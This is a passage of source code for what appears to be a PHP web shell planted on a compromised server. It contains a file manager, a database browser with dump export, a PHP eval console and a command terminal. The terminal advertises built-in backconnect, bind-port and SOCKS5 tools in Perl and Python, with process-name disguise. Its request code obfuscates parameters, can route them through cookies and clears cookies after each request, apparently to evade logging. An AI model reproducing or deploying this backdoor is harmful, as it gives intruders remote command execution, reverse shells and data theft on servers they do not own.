    prnt.indeterminate = false;
    --chldIndtrm;
   }
  } else {
   if (prnt.checked) {
    prnt.checked = false;
    --chldChckd;
   }
   if (crrntChckd === 0 && crrntIndtrm === 0) {
    if (prnt.indeterminate) {
     prnt.indeterminate = false;
     --chldIndtrm;
    }
   } else if (!prnt.indeterminate) {
    prnt.indeterminate = true;
    ++chldIndtrm;
   }
  }
  prnt = prnt.name === 'b[]' ? false : prnt.parentNode.parentNode.parentNode.firstChild;
 }
}

function listTables(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.t;
 for (var i = 0, c = lst.length; i < c; ++i) {
  var row = mkItmRow('t', lst[i][0], chckd, getData, opnList);
  if (lst[i].length > 1) row.appendChild(newElm('span', {
   className: 'spnRC',
   textContent: lst[i][1]
  }));
  prnt.appendChild(row);
 }
}

function listSchemas(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.s;
 for (i = 0, c = lst.length; i < c; ++i) prnt.appendChild(mkItmRow('s', lst[i], chckd, opnList));
}

function getStrctr() {
 var elm = this,
  data = {},
  name = [],
  inp;
 do {
  elm = elm.parentNode;
  inp = elm.firstChild;
  name.push(inp.value);
  data[inp.name.substr(0, 1)] = inp.value;
  elm = elm.parentNode;
 } while (elm.id !== 'divSchm');
 if (elmById('cbCR').checked) data.r = '';
 return sqlAjxSnd('Get structure of ' + name.reverse().join('.'), onGetStrctr, data);
}

function srchItm(elm, name, value) {
 var chlds = elm.childNodes;
 for (var i = 0, c = chlds.length; i < c; ++i) {
  var inp = chlds[i].firstChild;
  if (inp.name === name && inp.value === value) return chlds[i];
 }
 return false;
}

function onGetStrctr(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 var cnt;
 if ('f' in data) cnt = data.f.length;
 else if ('t' in data) cnt = data.t.length;
 else cnt = data.s.length;
 if (cnt === 0) {
  var t = 'Database',
   v = [data.b];
  if (('s' in data) && ('t' in data)) {
   t = 'Schema';
   v.push(data.s);
  }
  if ('f' in data) {
   t = 'Table';
   v.push(data.t);
  }
  return uiChngMsg(div, t + ' ' + v.join('.') + ' is empty', 'Inf');
 }
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
 if (!prnt) return;
 if (('t' in data) && ('s' in data)) {
  if (prnt.lastChild.className !== 'divLst') return;
  prnt = srchItm(prnt.lastChild, 's[]', data.s);
  if (!prnt) return;
 }
 if ('f' in data) {
  if (prnt.lastChild.className !== 'divLst') return;
  prnt = srchItm(prnt.lastChild, 't[]', data.t);
  if (!prnt) return;
 }
 if (prnt.lastChild.className === 'divLst') prnt.removeChild(prnt.lastChild);
 var i = prnt.firstChild;
 i.setAttribute('chldTotal', cnt);
 i.setAttribute('chldChckd', i.checked ? cnt : 0);
 i.setAttribute('chldIndtrm', 0);
 prnt.appendChild(newElm('div', {
  className: 'divLst'
 }));
 prnt = prnt.lastChild;
 if ('f' in data) listFields(prnt, data);
 else if ('t' in data) listTables(prnt, data);
 else listSchemas(prnt, data);
 uiDelMsg(div);
}

function listFields(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.f;
 for (i = 0, c = lst.length; i < c; ++i) {
  var row = mkItmRow('f', lst[i][0], chckd),
   type = data.y[lst[i][1]];
  if (type !== '') {
   var div = newElm('div', {
    className: 'divFldTp'
   });
   div.appendChild(newElm('span', {
    className: 'aMore',
    textContent: type
   }));
   row.appendChild(div);
  }
  prnt.appendChild(row);
 }
}

function getData() {
 var elm = this.parentNode,
  data = {
   t: elm.firstChild.value,
   f: [],
   o: 0,
   r: elmById('frmPg').r.value
  };
 elm = elm.parentNode.parentNode;
 if (elm.firstChild.name === 's[]') {
  data.s = elm.firstChild.value;
  data.b = elm.parentNode.parentNode.firstChild.value;
 } else data.b = elm.firstChild.value;
 elm = this.parentNode;
 if (elm.lastChild.className === 'divLst') {
  elm = elm.lastChild.childNodes;
  for (var i = elm.length - 1; i >= 0; --i)
   if (elm[i].firstChild.checked) data.f.unshift(elm[i].firstChild.value);
 }
 if (data.f.length === 0) data.f = '';
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, onGetData, data);
}

function listData(caption, data) {
 var tblHead = elmById('tblHead'),
  tblData = elmById('tblData'),
  cln = data.f.length;
 if (tblData.tBodies.length > 0) tblData.removeChild(tblData.tBodies[0]);
 elmById('divCptn').textContent = caption;
 if (tblHead.childNodes.length > 0) tblHead.removeChild(tblHead.tHead);
 var thead = document.createElement('thead'),
  elm = thead.insertRow(0);
 for (var i = 0; i < cln; ++i) elm.insertCell(-1).textContent = data.f[i];
 tblHead.appendChild(thead);
 data = data.r;
 elm = document.createElement('tbody');
 for (var i = 0, c = data.length; i < c; ++i) {
  var tr = elm.insertRow(-1);
  for (var j = 0; j < cln; ++j) tr.insertCell(-1).textContent = data[i][j];
 }
 tblData.appendChild(elm);
 elm = tblHead.tHead.rows[0].cells;
 data = tblData.tBodies[0].rows[0].cells;
 for (var i = 0; i < cln; ++i) {
  var tr = (elm[i].offsetWidth > data[i].offsetWidth ? elm[i].offsetWidth : data[i].offsetWidth) + 'px';
  elm[i].style.minWidth = tr;
  elm[i].style.width = tr;
  data[i].style.minWidth = tr;
  data[i].style.width = tr;
 }
}

function onGetData(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) {
  var v = data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t;
  return uiChngMsg(div, data.o > 0 ? 'No more data in table ' + v : 'Table ' + v + ' is empty', 'Inf');
 }
 var isNotPgnbl = !('o' in data);
 listData((isNotPgnbl ? 'Top ' + data.r.length + ' rows' : 'Rows ' + data.o + '-' + (data.o + data.r.length - 1)) + ' from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, data);
 var frmPg = elmById('frmPg');
 frmPg.b.value = data.b;
 frmPg.s.value = ('s' in data) ? data.s : '';
 frmPg.t.value = data.t;
 frmPg.o.value = 0;
 frmPg.o.disabled = isNotPgnbl;
 frmPg.elements[3].disabled = isNotPgnbl;
 frmPg.elements[5].disabled = isNotPgnbl;
 if (frmPg.style.display !== 'block') frmPg.style.display = 'block';
 uiDelMsg(div);
}

function chngPg(v) {
 var elms = elmById('frmPg'),
  chlds = [],
  val = (elms.o.value | 0) + v * (elms.r.value | 0),
  data = {
   b: elms.b.value,
   t: elms.t.value,
   o: val > 0 ? val : 0,
   r: elms.r.value | 0,
   f: []
  };
 if (elms.s.value !== '') data.s = elms.s.value;
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
 if (prnt && prnt.lastChild.className === 'divLst') {
  if ('s' in data) prnt = srchItm(prnt.lastChild, 's[]', data.s);
  if (prnt && prnt.lastChild.className === 'divLst') {
   prnt = srchItm(prnt.lastChild, 't[]', data.t);
   if (prnt && prnt.lastChild.className === 'divLst') {
    var chlds = prnt.lastChild.childNodes;
    for (var i = 0, c = chlds.length; i < c; ++i)
     if (chlds[i].firstChild.checked) data.f.push(chlds[i].firstChild.value);
   }
  }
 }
 if (data.f.length === 0) data.f = '';
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t + ' (' + data.o + '-' + (data.o + data.r) + ')', onGetData, data);
}

function query() {
 var v = elmById('frmSQL').q.value;
 return v === '' ? false : sqlAjxSnd(v, onQuery, {
  q: v
 });
}

function onQuery(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) return uiChngMsg(div, 'Query successfully completed (' + data.q + ')', 'Inf');
 elmById('frmPg').style.display = 'none';
 listData(data.q, data);
 uiDelMsg(div);
}

function getDumpList(data, elms, prfx) {
 var n = 0,
  indx = elms[0].firstChild.name.slice(0, 1) + '[' + prfx + ']';
 data[indx] = [];
 for (var i = 0, c = elms.length; i < c; ++i) {
  if (elms[i].firstChild.checked) data[indx][n++] = elms[i].firstChild.value;
  else if (elms[i].firstChild.indeterminate) {
   data[indx].push(elms[i].firstChild.value);
   getDumpList(data, elms[i].lastChild.childNodes, prfx + '-' + n);
   n++;
  }
 }
}

function dump() {
 var data = {
   d: [],
   o: elmById('slctDmpFrmt').value
  },
  elms = elmById('divSchm').childNodes,
  n = 0;
 for (var i = 0, c = elms.length; i < c; ++i) {
  if (elms[i].firstChild.checked) data.d[n++] = elms[i].firstChild.value;
  else if (elms[i].firstChild.indeterminate) {
   data.d.push(elms[i].firstChild.value);
   getDumpList(data, elms[i].lastChild.childNodes, n++);
  }
 }
 if (n) sqlAjxSnd('Download SQL dump (close this message after start download)', onDump, data);
}

function onDump(div, data) {
 uiChngMsg(div, data.e, 'Err');
}

function onPHPKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 13) return evl();
}

function onPHPResKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 65) {
  uiSlctTxt('prePHP');
  e.preventDefault();
 }
}

function uiChngCmps() {
 var lbl = elmById('aCmps'),
  frm = elmById('divPHP').style;
 if (lbl.className === 'cmpsRow') {
  lbl.className = 'cmpsCol';
  frm.flexDirection = 'column';
 } else {
  lbl.className = 'cmpsRow';
  frm.flexDirection = 'row';
 }
 return false;
}

function evl() {
 var frm = elmById('frmPHP');
 if (frm.e.value === '') elmById('prePHP').innerHTML = '';
 else ajxSnd('Eval PHP code', onEvl, frm, {
  a: 'p'
 }, elmById('slctPHPCS').value);
 return false;
}

function onEvl(div, data) {
 var elm = elmById('prePHP'),
  chr = data.slice(-1);
 if ('createShadowRoot' in elm) {
  if (elm.shadowRoot === null) elm.createShadowRoot();
  elm = elm.shadowRoot;
 }
 if (chr === "\x06" && elmById('cbClnInp').checked) elmById('txtPHP').value = '';
 if (elmById('cbClnOut').checked) elm.innerHTML = '';
 if (chr === "\x15" && data.slice(0, -3) === '' && !elmById('frmPHP').h.checked) data = '\nFatal error: You have syntax error in PHP code\n';
 else data = data.slice(0, -3);
 if (elmById('cbHTML').checked) {
  var divRst = document.createElement('iframe');
  divRst.style = 'all:initial;isolation:isolate;width:100%;height:100%;';
  divRst.srcdoc = data;
  elm.appendChild(divRst);
 } else elm.appendChild(document.createTextNode(data));
 uiDelMsg(div);
}

function phpSaveState() {
 strgSaveBool('phpChngCmps', elmById('aCmps').className === 'cmpsCol');
 strgSaveBool('phpClnInp', 'cbClnInp');
 strgSaveBool('phpClnOut', 'cbClnOut');
 strgSaveBool('phpHTML', 'cbHTML');
 var frm = elmById('frmPHP');
 strgSaveBool('phpSilent', frm.h.checked);
 strgSaveOpt('phpSendAs', elmById('slctPHPCS').value);
 strgSaveOpt('phpLoadAs', frm.c.value);
}

function phpRestoreState() {
 if (sessionStorage.getItem('phpChngCmps')) uiChngCmps();
 strgRstrChck('phpClnInp', 'cbClnInp');
 strgRstrChck('phpClnOut', 'cbClnOut');
 strgRstrChck('phpHTML', 'cbHTML');
 var frm = elmById('frmPHP');
 strgRstrChck('phpSilent', frm.h);
 strgRstrVal('phpSendAs', 'slctPHPCS');
 strgRstrVal('phpLoadAs', frm.c);
}
var trmHist = strgRstrArr('trmHist'),
 trmIndx = trmHist.length;

function onTrmClick(e) {
 if (e.target === elmById('divTrm')) elmById('inpTrm').focus();
}

function onTrmResKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 65) {
  uiSlctTxt('preTrm');
  e.preventDefault();
 }
}

function onTrmInpKeyDwn(e) {
 var frm = elmById('frmTrm'),
  inp = frm.e;
 if (e.keyCode === 38) {
  if (trmIndx > 0) inp.value = trmHist[--trmIndx];
 } else if (e.keyCode === 40) {
  var val = trmHist.length;
  if (trmIndx < val - 1) inp.value = trmHist[++trmIndx];
  else {
   inp.value = '';
   if (trmIndx < val) ++trmIndx;
  }
 } else if (e.ctrlKey && e.keyCode === 76) elmById('preTrm').textContent = '';
 else if (e.keyCode === 13) exec();
 else return;
 e.preventDefault();
}

function prntMsg(msg) {
 if(elmById('cbIT').checked)
    elmById('preTrm').textContent = reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + msg + '\n' + elmById('preTrm').textContent;
 else{
    elmById('preTrm').textContent += reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + msg + '\n';
    var trm = elmById('divTrm');
    trm.scrollTop = trm.scrollHeight;
 }
 return false;
}

function exec() {
 var frm = elmById('frmTrm'),
  cmd = frm.e.value.trim(),
  val = cmd.match(/!(!|(?:-?[0-9]+))/);
 if (val !== null) {
  val = val[1] | 0;
  if (val >= 0) --val;
  cmd = trmHist[val < 0 ? trmHist.length + val : val];
  frm.e.value = cmd;
 }
 if (trmHist.slice(-1)[0] !== cmd) trmHist.push(cmd);
 trmIndx = trmHist.length;
 if (cmd === '?') {
  val = '  For more information run command without params.\n\n';
  prntMsg('?\n\n' + 'cls, clear\n' + '  Clear terminal window.\n' + '  * You can clear terminal window pressing Ctrl+L\n\n' + 'history\n' + '       Show all comands.\n' + '  n    Show last n commands.\n' + '  !!   Execute last command.\n' + '  !n   Execute command number n. If value negative then counting starts at end.\n' + '  * You can navigate through history using UP and DOWN keys.\n\n' + 'report\n' + '  Create server information report.\n' + '  For more information run command with question param.\n\n' + 'socks5.perl\n' + '  Run Socks5 server using Perl.\n' + val + 'bindport.perl\n' + '  Open port and provide shell access for connected client using Perl.\n' + val + 'backconnect.perl\n' + '  Connect to client and provide shell access for him using Perl.\n' + val + 'socks5.python\n' + '  Run Socks5 server using Python.\n' + val + 'bindport.python\n' + '  Open port and provide shell access for connected client using Python.\n' + val + 'backconnect.python\n' + '  Connect to client and provide shell access for him using Python.\n' + val);
 } else if (cmd === 'cls' || cmd === 'clear') elmById('preTrm').textContent = '';
 else {
  val = cmd.match(/history ?([0-9]*)/i);
  if (val !== null) {
   val = val[1] | 0;
   var s = cmd + '\n';
   for (var c = trmHist.length, i = (val > 0 && c > val) ? c - val : 0; i < c; ++i) s += '\t' + (i + 1) + '\t' + trmHist[i] + '\n';
   prntMsg(s);
  } else {
   val = cmd.split(' ', 4);
   var usg = cmd + '\n' + 'Usage:\n  ' + val[0],
    opt = ' <port> [options]\nOptions (option value can\'t contain whitespace):\n  -i <file>  Use interpreter <file>. Default: ',
    perl = '<?php echo NIX?"/usr/bin/perl":"perl.exe";?>\n',
    pthn = '<?php echo NIX?"/usr/bin/python":"python.exe";?>\n',
    opta = '  -a <addr>  Listen only on IP address <addr>. Default listening on all adresses\n',
    optn = '  -n <name>  Set process name to <name>. Default value is secret ;)\n',
    opts = '  -s <file>  Use shell <file>. Default: <?php echo NIX?"/bin/sh":"cmd";?>\n',
    optt = '  -t         Open PTY\n',
    optl = '  -s <u:p>   Secure with authentication (u - username, p - password)\n',
    ign = '     u - Users and Groups;\n     e - Environment;\n     p - Processes;\n     n - Network;\n';
   if (val[0] === 'backconnect.perl' && val.length < 3) prntMsg(usg + ' <ip>' + opt + perl + opts + optn);
   else if (val[0] === 'bindport.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + opts + optn);
   else if (val[0] === 'socks5.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + optl + optn);
   else if (val[0] === 'backconnect.python' && val.length < 3) prntMsg(usg + ' <ip>' + opt + pthn + opts + optt);
   else if (val[0] === 'bindport.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + opts + optt);
   else if (val[0] === 'socks5.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + optl);
   else if (val[0] === 'report' && val[1] === '?') prntMsg(usg + ' [options]\nOptions:\n  -f <file>   Save report to <file>\n  -s [flags]  Skip some information\n     Flags:\n<?php echo NIX?'o-OS Identification;\n l-Langs;\n c-CPU;\n r-Cron;\n h-Histories;\n f-File System;\n s-SUID Files;\n':'s-System Info;\n t-Tasks;\n r-Share;\n';?>' + ign);
   else {
    ajxSnd(reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + cmd, onExec, frm, {
     a: 't',
     p: elmById('spnPth').title
    }, elmById('slctTrmCS').value);
   }
  }
 }
 frm.e.value = '';
 return false;
}

function onExec(div, data) {
 var cmd = div.childNodes[1].textContent.slice(0, -2);
 if (data === '\x03\x1E') return uiChngMsg(div, 'Error in command: ' + cmd, 'Err');
 data = data.slice(0, -3);
 var pos = data.lastIndexOf('\x03\x1E\x02\x0A');
 if (pos > -1) {
  var inf = data.slice(pos + 4).split('\n', 3);
  elmById('spnUsrHst').title = inf[0] + '@' + inf[1];
  elmById('spnPth').title = inf[2];
  elmById('spnUsrHst').textContent = reduce(elmById('spnUsrHst').title);
  elmById('spnPth').textContent = reduce(elmById('spnPth').title);
  data = data.slice(0, pos);
 } else data += '\n';
 if(elmById('cbIT').checked){
	elmById('divTrm').append(elmById('preTrm'));
	elmById('preTrm').textContent = cmd + '\n' + data + '\n' + elmById('preTrm').textContent;
 }
 else{
	elmById('divTrm').prepend(elmById('preTrm'));
	elmById('preTrm').textContent += cmd + '\n' + data + '\n';
	pos = elmById('divTrm');
	pos.scrollTop = pos.scrollHeight;
 }
 uiDelMsg(div);
}

function trmSaveState() {
 if (exeFuncs.length === 0) return;
 var e = elmById('frmTrm');
 strgSaveStr('trmShell', e.s.value);
 strgSaveBool('trmSilent', e.h.checked);
 strgSaveOpt('trmFunc', e.f.value);
 strgSaveOpt('trmLoadAs', e.c.value);
 strgSaveOpt('trmSendAs', elmById('slctTrmCS').value);
 strgSaveStr('trmPath', elmById('spnPth').title);
 strgSaveArr('trmHist', trmHist);
}

function trmRestoreState() {
 var cnt = exeFuncs.length;
 if (cnt === 0) {
  elmById('tabTrm').style.display = 'none';
  return;
 }
 var frm = elmById('frmTrm'),
  val = sessionStorage.getItem('trmFunc') | 0;
 for (var i = 0; i < cnt; ++i) {
  var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
  if (exeFuncs[i][0] === val) opt.selected = true;
  frm.f.add(opt);
 }
 elmById('spnUsrHst').title = exeFuncs[0][2];
 elmById('spnUsrHst').textContent = reduce(elmById('spnUsrHst').title);
 val = sessionStorage.getItem('trmPath');
 elmById('spnPth').title = val === null ? exeFuncs[0][3] : val;
 elmById('spnPth').textContent = reduce(elmById('spnPth').title);
 strgRstrVal('trmShell', frm.s);
 strgRstrChck('trmSilent', frm.h);
 strgRstrVal('trmSendAs', 'slctTrmCS');
 strgRstrVal('trmLoadAs', frm.c);
}

function reduce(str, chr = 5){
 return (document.body.style.width == '' && str.length > 50 ? str.substring(0, chr) + '…' + str.substring(str.length - chr) : str);
}

function uiUpdInf(chld) {
 var div = elmById('divInfo');
 div.removeChild(div.lastChild);
 div.appendChild(chld);
}

function onInfMain(div, data) {
 var tbl = newElm('table', {
  id: 'tblInf'
 });
 for (var i = 0, l = data.length; i < l; ++i) {
  if (i > 0) tbl.insertRow(-1).appendChild(newElm('th', {
   colSpan: 2
  }));
  for (var key in data[i]) {
   var tr = tbl.insertRow(-1);
   tr.appendChild(newElm('th', {
    textContent: key
   }));
   tr.insertCell(1).textContent = data[i][key];
  }
 }
 uiUpdInf(tbl);
 uiDelMsg(div);
}

function onInfPHP(div, data) {
 var tbl = document.createElement('table');
 tbl.id = 'tblInf';
 for (var sct in data) {
  var tr = tbl.insertRow(-1);
  tr.appendChild(newElm('th', {
   colSpan: 2,
   textContent: sct
  }));
  for (var key in data[sct]) {
   tr = tbl.insertRow(-1);
   tr.appendChild(newElm('th', {
    textContent: key
   }));
   tr.insertCell(1).textContent = data[sct][key];
  }
 }
 uiUpdInf(tbl);
 uiDelMsg(div);
}

function ajxSnd(msg, clbck, frm, data, chrst) {
	
	RO = elmById('cbRO').checked;
	RR = elmById('cbRR').checked;
	TM = elmById('cbTM').checked;
	OI = elmById('cbOI').checked;
	
	 function obfuscate(data) {
	  if (obfKey === false || data.length < 2) return data;
	  var r = [],
	   l = data.length;
	  data = data.split('');
	  for (var i = 0; i < l; ++i) {
	   var c = (i % 2 === 0) ? data.pop() : data.shift();
	   r.push(c === obfKey ? '' : c);
	  }
	  return r.join(obfKey);
	 };
	
	 function cancel() {
	  document.body.removeChild(reqIfrm);
	  uiDelMsg(msgDiv);
	  return false;
	 };
	
	 function onResp() {
	  deleteAllCookies();

	  msgDiv.firstChild.onclick = uiClsMsg;
	  var doc = reqIfrm.contentDocument;
	  var xr = reqIfrm.getAttribute('xr');
	  var xc = reqIfrm.getAttribute('xc');
	  var resp = xr ? xr : doc.body.textContent;
	  var cset = xc ? xc : doc.characterSet;
	  var data = RO ? resp : getValue(resp);
	  document.body.removeChild(reqIfrm);
	  
	  if (data.slice(0, 2) === '\x01\x02') {
	   if (data.slice(-3) === '\x17\x04\x10' && data.indexOf('\x03\x1E')) data = data.slice(2, -3);
	   else data = false;
	  } else try {
	   data = JSON.parse(data);
	  } catch (e) {
	   data = false;
	  }
	  if (data === false) uiNetErrMsg(msgDiv);
	  else if (clbck) clbck.call(frm, msgDiv, data, cset);
	  else uiDelMsg(msgDiv);
	 };
	 
	 var msgDiv = uiMsg(msg),
	  obfKey = false,
	  reqIfrm = newElm('iframe', {
	   src: '',
	   name: 'ifrm' + (new Date().getTime())
	  }),
	  reqFrm = newElm('form', {
	   acceptCharset: (chrst ? chrst : 'UTF-8'),
	   action: window.location.href,
	   method: 'post',
	   target: reqIfrm.name
	  }),
	  elm;

	 if (RO) data.ro = '1';
	 if (TM) data.tm = '1';
	 if (obfKey !== false) data.k = obfKey;
	 elm = elmById('frmCstEnv');
	 if (elm.e.checked && elm.i.value !== '') {
	  data.j = [elm.f.value, elm.s.value, elm.i.value, ''];
	  if (elm.n.checked) data.j[3] = 'n';
	  if (elm.c.checked) data.j[3] += 'C';
	 }
	 for (var key in data)
	  if (Array.isArray(data[key]))
	   for (var i = 0, c = data[key].length; i < c; ++i) reqFrm.appendChild(newElm('input', {
	    type: 'hidden',
	    name: RR ? key + '['+ i +']' : setName(key + '['+ i +']'),
	    value: RR ? data[key][i]: setValue(data[key][i])
	   }));
	  else reqFrm.appendChild(newElm('input', {
	   type: 'hidden',
	   name: RR ? key : setName(key),
	   value: RR ? data[key] : setValue(data[key])
	  }));
	 if (frm)
	  for (var i = frm.elements.length - 1; i >= 0; --i) {
	   elm = frm.elements[i];
	   if (elm.name === '' || elm.disabled) continue;
	   if (elm.tagName === 'INPUT') {
	    if ((elm.type === 'checkbox' || elm.type === 'radio') && !elm.checked) continue;
	    if (elm.type === 'file') {
			if(RR){
		     reqFrm.enctype = 'multipart/form-data';
		     reqFrm.appendChild(elm.cloneNode(true));
			}
	     continue;
	    }
	   }
	   if (elm.value !== '' || elm.tagName === 'TEXTAREA') reqFrm.appendChild(newElm('input', {
	    type: 'hidden',
	    name: RR ? elm.name : setName(elm.name),
	    value: RR ? elm.value : setValue(elm.value)
	   }));
	  }

	 document.body.appendChild(reqFrm);
	 addEncKey(reqFrm);
	 
	 status = false;
	 if(COOKIE && reqFrm.enctype != 'multipart/form-data'){
		status = submitViaCookie(reqFrm, false);
		if(status == 'SEND'){
			elements = reqFrm.childNodes;
			while(elements.length)
				for(i = 0; i < elements.length; i++)
					reqFrm.removeChild(elements[i]);
			reqFrm.method = 'get';
		}
		else
			reqFrm.method = 'post';
	 }
	
	 document.body.appendChild(reqIfrm);

	 if(status != 'CANCEL'){
		
		if(OI && reqFrm.method == 'get')
			reqIfrm.src = reqFrm.action;

		else if(!data.hasOwnProperty('d')){
			var xhr = new XMLHttpRequest();
			xhr.open(reqFrm.method, '', false);
			xhr.send(new FormData(reqFrm));
			reqIfrm.setAttribute('xr', xhr.responseText);
			reqIfrm.setAttribute('xc', xhr.getResponseHeader('content-type').split('=')[1]);
			reqIfrm.srcdoc = '';
		}
		else
			(COOKIE || !OI && reqFrm.method == 'get' ? window.location.href = window.location.pathname : reqFrm.submit());

		reqIfrm.onload = onResp;
	 }

	 document.body.removeChild(reqFrm);	
	 msgDiv.firstChild.onclick = cancel;
	 setTimeout(deleteAllCookies, 100);// sorry :(
	
	 return false;
}
</script>

<script id="dataExe"type="text/data"><?php $a=array('system','passthru','backticks','shell_exec','exec','popen');if(PHP_VERSION>='4.3')$a[]='proc_open';if(safemode())$a[101]='safemode';/*if(defined('EXP_EOF')){$a[7]='expect://';$a[8]='expect_popen';}*/if(!NIX&&defined('CLSCTX_ALL'))$a[10]='com';/*$s=NIX?';':'&';$c=NIX?'pwd':'cd';$w=NIX?'whoami':'echo %username%';foreach($a as$k=>$v)exe('echo '.$k.':'.$v.$s.$w.$s.'hostname'.$s.$c,$k,'',FALSE);*/foreach($a as $k => $v){if(function_exists($v)) print $k.':'.$v."\n".get_current_user()."\n".gethostname()."\n".__DIR__."\n";}?></script></head><body onkeydown="uiKeyDwn(event)"><div id="divHdr"class="divCntrls"><a href="#"class="cntrl"title="Color mode"onclick="return invertColors()">&bull;</a><a href="#"class="cntrl"title="Resize view"onclick="return uiRszBody()">&#x21C4;</a><a href="#"class="cntrl"title="Settings"onclick="return uiShwModal('divStngs')">&#x2699;</a></div><div id="divBody"><span id="tabFM"><a href="#tabFM"class="tab">File Manager</a><div class="tabPage"id="divFM"><textarea id="txtClpbrd"tabindex="-1"></textarea><form hidden id="frmUpl"><input type="file"name="f[]"id="inpUpl" onchange="uplFiles()"/></form><form class="toolbar"id="frmFM"onsubmit="return goTo(this.p.value)"><a href="#"class="cntrl"id="btnSrch"title="Search..."onclick="return uiShwFrmSrch()"></a><button type="button"title="Go home!"onclick="goTo('~')">~</button> <button title="Go!">&gt;</button> <?php if(!NIX){$a=range('A','Z');foreach($a as$v){$i=new FileInfo($v.':\\');if($i->isDir())echo'<button type="button"onclick="goTo(',"'",$v,":\\\\'",')">',$v,':</button>';}}?> <input type="text"name="p"value="<?php echo escHTML(selfPath());?>"/><span class="spnBtnSbMn"><button type="button"id="btnFastAct"title="Fast actions..."onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"><hr class="arwDwn"/></button><div class="divSbMn"onclick="onFastActClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Properties</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Delete</a></div></span>&nbsp; <span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="fmCSSend"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select id="fmCSLoad"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span></form><div class="subbar"><button type="button"title="You can upload multiple files at once..."onclick="elmById('inpUpl').click()">Upload &#8230;</button><span class="spnBtnSbMn"><button type="button"class="btnSbMn"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)">Create <hr class="arwDwn"/></button><div class="divSbMn"onclick="onCrtMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">File</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Link</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Directory</a></div></span><span class="spnBtnSbMn"><button type="button"class="btnSbMn"id="btnBufferMenu"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"disabled>Buffer <hr class="arwDwn"/></button><div class="divSbMn"onclick="onBufferMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Show files<a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Copy here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Move here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Clear</a></div></span></div><div><form id="frmFiles"><table id="tblFiles"cols="<?php echo NIX?8:7;?>"onclick="onTblFilesClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Files', this.checked)"/></th><th>Name</th><th width="65px">Ext</th><th width="105px">Size</th><th width="145px">Modified (UTC)</th><th width="95px">Permission</th> <?php if(NIX){?><th width="155px">Owner</th><?php }?> <th width="65px">Actions</th></tr></thead><tfoot><tr><th colspan="<?php echo NIX?8:7;?>"><button type="button"onclick="dwnFiles(getSlctdFiles())">Download</button><button type="button"onclick="prpsSlctdFiles()">Properties</button><button type="button"onclick="markSlctdFiles()">Mark</button><button type="button"onclick="delFiles(getSlctdFiles())">Delete</button></th></tr></tfoot></table></form></div><template id="tmplFilesTBody"><tbody><tr><th colspan="<?php echo NIX?8:7;?>"class="thPth"></th></tr><tr><td class="tdUp"><input type="hidden"/>&#x21b4;</td><td colspan="<?php echo NIX?7:6;?>"><a href="#"class="lnkBlck">[ .. ]</a></td></tr></tbody></template><template id="tmplFileRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkAct"></a></td><td></td><td><a href="#"class="lnkAct"></a></td><?php if(NIX){?><td></td><?php }?><td><a href="#"class="lnkAct">Mrk</a>&nbsp;<a href="#"class="lnkAct">Del</a></td></tr></template><div id="divWndws"><template id="tmplFrmFile"><form class="modal frmFile"onsubmit="saveFile(event)"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"ondblclick="return uiRsz(this.parentNode)"><span class="spnTitle">New File</span><a href="#"class="cntrl"title="Close"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz(this.parentNode.parentNode)">&#x2922;</a><a href="#"class="cntrl"title="Reload file"onclick="rldFile(event)">&#x27F3;</a></div><textarea name="t"></textarea><div class="flexRow"><input type="text"required/><select name="c"title="File encoding..."onchange="rldFileAs(event)"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select><select name="e"><option value="0">\r\n</option><option value="1"<?php if(NIX)echo' selected';?>>\n</option><option 